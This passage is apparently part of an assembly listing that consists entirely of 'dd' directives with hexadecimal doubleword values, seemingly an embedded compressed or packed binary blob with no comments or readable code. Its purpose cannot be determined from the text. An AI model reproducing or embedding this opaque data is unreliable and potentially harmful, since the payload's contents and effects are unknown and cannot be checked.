9FB4298Ch, 3C313E33h, 2060A987h dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh, 1B584CACh dd 69C6015Ah, 885BC33h, 1134F8h, 0D8A4F904h, 1C94A9DCh dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h, 6C61A973h dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h dd 995AC00h, 74329CDCh, 258C0261h, 20D84C2Ch, 90A4B740h dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch, 5BEAC55h dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h, 0FA5EC814h dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh dd 3F961E93h, 1EC41093h, 0FA1887ADh, 995AF0B1h, 93E7031h dd 24A08088h, 91D448B8h, 0F22202E2h, 400CFE44h, 32896A60h dd 2425127Fh, 9FA07554h, 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh dd 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh, 22749158h, 8196FE86h dd 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh, 1973870Ah, 0C03611D2h dd 302944CAh, 807D1452h, 5B89053h, 0C20CAC7Dh, 28E489D4h dd 41400F4h, 268C1C97h, 27B83411h, 4C00427Eh, 64445822h dd 0C020A672h, 0B889A884h, 2430CC12h, 9823BFE0h, 111C1819h dd 223A522Ch, 5E444A05h, 3BC0897Ah, 0FB424A4h, 0D491C448h dd 0F0E0E2EFh, 991688FEh, 1226810Ch, 5CF53Ah, 82226E91h dd 89AA9844h, 0CA54BA7Fh, 0FEFEF297h, 9A0C100Ch, 0B329422h dd 0AC468A40h, 96C5A80h, 107DA686h, 89BAA805h, 0D19013CAh dd 259BE0F0h, 7F800E81h, 914E483Ah, 6E03607Fh, 898C8044h dd 0F8AEFB9Ch, 70154C8h dd 0BF08E429h, 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h dd 0A612009Ah, 3430B025h, 7200656Bh, 6C076E73h, 2E3233h dd 10D45E64h, 7487473Eh, 0C9789Dh, 0E66ECE1Eh, 1C0C6854h dd 49646117h, 446DD300h, 0F83046h, 69757243h, 617B63E4h dd 0EB537E00h, 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h dd 1895B000h, 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h dd 0EC46FE00h, 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h dd 0A6001AF4h, 0CA51742Ah, 1079E4h, 64695706h, 61683EBCh dd 0D0548325h, 1D6C00F1h, 287942B8h, 0C03AE34h, 98212ED5h dd 7773F02Dh, 0DAA00074h, 4CE1416Eh, 3E00630Ch, 87FD7970h dd 17AD23Dh, 18740648h, 0CB726269h, 612445F1h, 32E9CCB4h dd 899B1D00h, 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h dd 72504300h, 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh dd 61488E3Fh, 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h dd 565A5216h, 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h dd 0A3938E00h, 3552A59Ah, 751B3F25h, 2C0E1900h, 0ED08BE64h dd 4D18B0E8h, 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh dd 0A98A5724h, 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch dd 0C033DA99h, 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h dd 3D9A6600h, 8CFFE0C3h, 0D4770082h, 1F490CD3h, 7B041857h dd 52F0ABF3h, 0A23066C0h, 90C6B864h, 2DA100A0h, 227AD153h dd 79288A4Eh, 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h dd 38527A4Bh, 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h dd 0BE406279h, 3AA664D0h, 3501917Dh, 6EEF05EEh, 4DE80A67h dd 619E00FFh, 6F428ABAh, 0A6024878h, 7D4E9F11h, 0C80943B6h dd 3F29767Bh, 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h dd 9A4F29D9h, 0C06E39A6h, 21D41300h, 8723DB89h, 58A7A00h dd 29747561h, 70B50740h, 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h dd 0A0986F16h, 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh dd 844DE965h, 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah dd 542849Ah, 9100B8E8h, 591B470Eh, 15DA4Eh, 677A66C5h dd 2A1749AAh, 9FE1B400h, 24125628h, 0DE4C3F41h, 0ED641400h dd 60934092h, 0E2CF5300h, 70476D75h, 54F6006Ah, 0EF5210B9h dd 536EC558h, 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h dd 0C463CADEh, 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh, 0A956F5F6h dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h, 5D005051h dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah, 696F76FCh dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh, 0FF825014h dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h, 9480B970h dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh, 2658664h dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h, 41C0BAACh dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh, 88222031h dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh, 4878D8h dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah, 7D6FAB26h dd 981A0C7Dh, 868B1A5h, 1FD6B701h, 2552EB7Eh, 858630h dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h, 0E92A0022h dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h, 7E0479Ch dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h, 15471D27h dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh dd 303B1AE1h, 0D17FC9h, 0E0BDD99Fh, 0DC723CCFh, 3D0F1C00h dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh dd 8CC0007h, 3A309C3Bh, 1D00649Dh, 1E7D9E6Dh, 3A8B9F85h dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h, 4600CA10h dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh dd 87F980EEh, 3083302h, 21471827h, 0F0017267h, 93C789A7h dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h, 0D1ABC98Dh dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah, 3F368349h dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh dd 7873762Bh, 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h dd 673D4447h, 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h dd 9A24CDE9h, 9AE8FCE3h, 3604003Ch, 0D117C909h, 0CA00D9BEh dd 503AFBE0h, 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h dd 643203CFh, 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h dd 368040E8h, 0E6A12A56h, 76F20074h, 380B1CF9h, 32009D29h dd 459E3E1Dh, 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h dd 723B0EC8h, 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh dd 0E0C953h, 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h dd 28C1206h, 345E00C3h, 0A33A9333h, 53B3441Eh, 67D35DC0h dd 0F279E3h, 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh dd 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh dd 7C2C7A74h, 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h dd 0CF9A8F92h, 0CFAACFA2h dd 0C0C4CFB2h, 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h dd 9E758473h, 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch dd 91D259Dh, 1E489E43h, 87675584h, 678647B5h, 0AF96878Eh dd 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh dd 80F61FFFh, 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h dd 46EE0E4Fh, 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h dd 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h dd 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h dd 2E0F26CFh, 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh dd 7EF27603h, 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch dd 0E1190DCh, 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh dd 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h dd 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h dd 1C00143Ah, 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h dd 6C7E647Ch, 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh dd 0BC49B47Eh, 3FCC3F23h, 24DC05D4h, 4E87AAE4h, 487FC20h dd 195B03Ch, 671C4714h, 602C8424h, 253CC93h, 7CFEC77Fh dd 40E884E7h, 7ED492A3h, 0CE74BC72h, 0FE00CCFh, 80FA5FF4h dd 7404723Dh, 140C7608h, 0BB481078h, 1C396548h, 3C3B2A3Ah dd 643D5C3Ch, 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h dd 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h dd 1C3E0114h, 248B204Eh, 0A72CE427h, 34C43001h, 3CE75D87h dd 0EC6CEC74h, 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch dd 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h dd 0F2ECC8E8h, 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h dd 4C884830h, 8815ABA9h, 0AF902AADh, 3F309849h, 91A422A0h dd 49E0122Ah, 2E24E82Ch, 0F83093F0h, 8C99F0F7h, 130F6010h dd 612501D4h, 51347882h, 0F96890F3h, 3090E488h, 0BA675274h dd 0A4727E54h, 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh dd 0D0F8C3F4h, 3970FCh, 83A0431h, 383C665Ch, 2E403D00h dd 4C9F6844h, 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h dd 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh dd 82D7F8E5h, 93043D80h, 0CA30008h, 20C310B3h, 500040D2h dd 0B4C4A94h, 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch dd 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh, 214F1720h dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh, 3974ECE6h dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h, 4873029Fh dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h, 20B88F01h dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h, 0A01E0E0Fh dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h, 4F274Ah dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh, 388B3B65h dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h, 0DCC7BCh dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h, 613C7150h dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h, 8272CF79h dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h, 0FC288C24h dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h dd 0EC6D8E00h, 7BF073h, 0C0F880F4h, 0C85D9EBAh, 0D02EA000h dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h, 0B8282EB6h dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h dd 5761D0E9h, 0BA98DCh, 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h, 8B38F9F2h dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh, 5001A1BBh dd 97C9893Fh, 0C60434h, 0C32DAE1h, 88609020h, 300B0F00h dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h, 67A8A707h dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h dd 6A00E4F2h, 424C0B8h, 0E4937h, 3C233BBEh, 4102672Dh dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h, 15D0770h dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h, 342B50E0h dd 356D001Ch, 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h dd 60EDF332h, 0C09C482Ch, 8700FB1Dh, 249F394Eh, 1E16C4E5h dd 4083FAF0h, 1525F33Bh, 1C3E2E84h, 0A6828095h, 7AFE50ADh dd 0E87C00D0h, 184A3EE0h, 4900E60Eh, 550BF1CFh, 0E940427h dd 0C964B047h, 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh dd 170E00E3h, 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh dd 0FA50BF07h, 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h dd 3A3E3339h, 983B8000h, 0EE3DB33Ch, 3409000Eh, 0E14A492Eh dd 0D2E6943Eh, 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh dd 8D3ACA6Ch, 9F379600h, 0D78EB84Eh, 12F03DCFh, 43F100F0h dd 936D391Dh, 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h dd 805CF4E2h, 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h dd 1B097E6Ch, 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h dd 8430170Bh, 38A0DE3Bh dd 0E8FF3Dh, 1DF612F2h, 0FE27FAh, 0F437B02Dh, 0B25AF849h dd 734A6601h, 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h dd 28203581h, 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h dd 1D6424A6h, 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh dd 2A0014ECh, 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh dd 284C9DE5h, 34C82C81h, 60C85C9Fh, 0C2640093h, 0F0786CEEh dd 5E75747Eh, 0E18088C0h, 72F988F6h, 7690748Ch, 0D39C7894h dd 0C8630080h, 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah dd 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h dd 0F13CC038h, 6844F940h, 66011C4Eh, 10542E50h, 5CA05344h dd 0F498F090h, 1F52949Ch, 9FA89FA4h, 92B085ACh, 0BCA203B4h dd 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah dd 0DC42C29h, 3D604D1h, 803E873Ch, 5869A02Bh, 0C5E1BF00h dd 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h dd 0C8986C00h, 37DEFB50h, 741A0172h, 0D7C4A78h, 69B03084h dd 0D62D8A0Fh, 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h dd 0E7B0212Dh, 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h dd 0F8895961h, 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h dd 0A73E19A0h, 27E8CAE4h, 33033FE2h, 67521687h, 0A593A873h dd 700827B5h, 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh dd 0C1016349h, 0B3E182A2h, 7F49038h, 4E560032h, 331883D7h dd 88739250h, 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h dd 0E0224418h, 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch dd 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h dd 0AA9D60C0h, 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch dd 0C0D11CCFh, 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh dd 0AEF20049h, 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h dd 583BDAD4h, 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh dd 8F874F7Fh, 0C09DCF8Fh, 49B592A7h, 61C303CCh, 0D7F9D1B0h dd 0E3A3DD93h, 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h dd 28823302h, 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h dd 10E4D1h, 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h dd 3E2D000Bh, 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh dd 44001C7Eh, 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h dd 44070292h, 0E15C1449h, 88F981AFh, 1670092Ah, 4F221D50h dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h, 0E6195D6h dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h dd 7BE0024h, 0FE4AC90h, 17FE13E8h, 0BA3E04B8h, 0D33E6782h dd 0E01CD722h, 9D2730h, 92AA1DA6h, 89BE5EA7h, 2F2B3E02h dd 60A414C0h, 1BD3A3Dh, 9425FF4h, 0EC51019Ch, 0A0006012h dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h, 0B100C90Dh dd 5F343CD0h, 0F40B40h, 0C832E1C0h, 765E41EAh, 257AC90Bh dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh, 87CC7B9Ch dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h, 88BE84h dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h, 1F06267Ch dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h, 2469000Bh dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h dd 83A295D5h, 3F2F7A0h, 740068F0h, 783E9822h, 574946h dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh, 0ECEA01F6h dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h, 761350B6h dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh, 2FE140D9h dd 7F13BE9h, 6C0B2B44h, 7BC0BE58h, 0FCB778A0h, 79DC300h dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh, 88CF815Ch dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h, 58FC00F2h dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh dd 96351EC9h, 973E803Ch, 95AAC277h, 0B87E7170h, 0C3E203AAh dd 6F2FD30h, 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h dd 5F1DFF4Ch, 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch dd 22C12EB3h, 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h dd 0F575AF8h, 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h dd 38390008h, 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch dd 2C918C2h, 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h dd 0FE60D353h, 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 